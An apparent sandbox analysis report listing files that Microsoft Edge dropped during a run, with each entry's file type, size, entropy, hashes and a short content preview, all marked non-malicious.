C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090762854850304
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+2tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEW6btbz8hu3VlXr4CRo1
MD5:	312C0C6553BE9AF407FE6C0C0872246A
SHA1:	125ADC511EF368BE56363D2FA514BA6FF4BCD384
SHA-256:	0390B845DDC2C010F88DD047611EBD148E7F0E7D0FEE0E5B8234614A04BBB3A5
SHA-512:	852215548717845323EA669A0E05B636969237C5C03540F980A52F8402A3B096E840EBC895818CA14389C6A3F8CC0B0A15A29BACE83C54E9D573B9041C2EC80B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35ebb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090762854850304
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+2tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEW6btbz8hu3VlXr4CRo1
MD5:	312C0C6553BE9AF407FE6C0C0872246A
SHA1:	125ADC511EF368BE56363D2FA514BA6FF4BCD384
SHA-256:	0390B845DDC2C010F88DD047611EBD148E7F0E7D0FEE0E5B8234614A04BBB3A5
SHA-512:	852215548717845323EA669A0E05B636969237C5C03540F980A52F8402A3B096E840EBC895818CA14389C6A3F8CC0B0A15A29BACE83C54E9D573B9041C2EC80B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35ef9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090762854850304
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+2tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEW6btbz8hu3VlXr4CRo1
MD5:	312C0C6553BE9AF407FE6C0C0872246A
SHA1:	125ADC511EF368BE56363D2FA514BA6FF4BCD384
SHA-256:	0390B845DDC2C010F88DD047611EBD148E7F0E7D0FEE0E5B8234614A04BBB3A5
SHA-512:	852215548717845323EA669A0E05B636969237C5C03540F980A52F8402A3B096E840EBC895818CA14389C6A3F8CC0B0A15A29BACE83C54E9D573B9041C2EC80B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF360de.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090762854850304
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+2tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEW6btbz8hu3VlXr4CRo1
MD5:	312C0C6553BE9AF407FE6C0C0872246A
SHA1:	125ADC511EF368BE56363D2FA514BA6FF4BCD384
SHA-256:	0390B845DDC2C010F88DD047611EBD148E7F0E7D0FEE0E5B8234614A04BBB3A5
SHA-512:	852215548717845323EA669A0E05B636969237C5C03540F980A52F8402A3B096E840EBC895818CA14389C6A3F8CC0B0A15A29BACE83C54E9D573B9041C2EC80B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38780.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090762854850304
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+2tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEW6btbz8hu3VlXr4CRo1
MD5:	312C0C6553BE9AF407FE6C0C0872246A
SHA1:	125ADC511EF368BE56363D2FA514BA6FF4BCD384
SHA-256:	0390B845DDC2C010F88DD047611EBD148E7F0E7D0FEE0E5B8234614A04BBB3A5
SHA-512:	852215548717845323EA669A0E05B636969237C5C03540F980A52F8402A3B096E840EBC895818CA14389C6A3F8CC0B0A15A29BACE83C54E9D573B9041C2EC80B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF471a2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090762854850304
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+2tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEW6btbz8hu3VlXr4CRo1
MD5:	312C0C6553BE9AF407FE6C0C0872246A
SHA1:	125ADC511EF368BE56363D2FA514BA6FF4BCD384
SHA-256:	0390B845DDC2C010F88DD047611EBD148E7F0E7D0FEE0E5B8234614A04BBB3A5
SHA-512:	852215548717845323EA669A0E05B636969237C5C03540F980A52F8402A3B096E840EBC895818CA14389C6A3F8CC0B0A15A29BACE83C54E9D573B9041C2EC80B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4cf43.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090762854850304
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+2tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEW6btbz8hu3VlXr4CRo1
MD5:	312C0C6553BE9AF407FE6C0C0872246A
SHA1:	125ADC511EF368BE56363D2FA514BA6FF4BCD384
SHA-256:	0390B845DDC2C010F88DD047611EBD148E7F0E7D0FEE0E5B8234614A04BBB3A5
SHA-512:	852215548717845323EA669A0E05B636969237C5C03540F980A52F8402A3B096E840EBC895818CA14389C6A3F8CC0B0A15A29BACE83C54E9D573B9041C2EC80B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
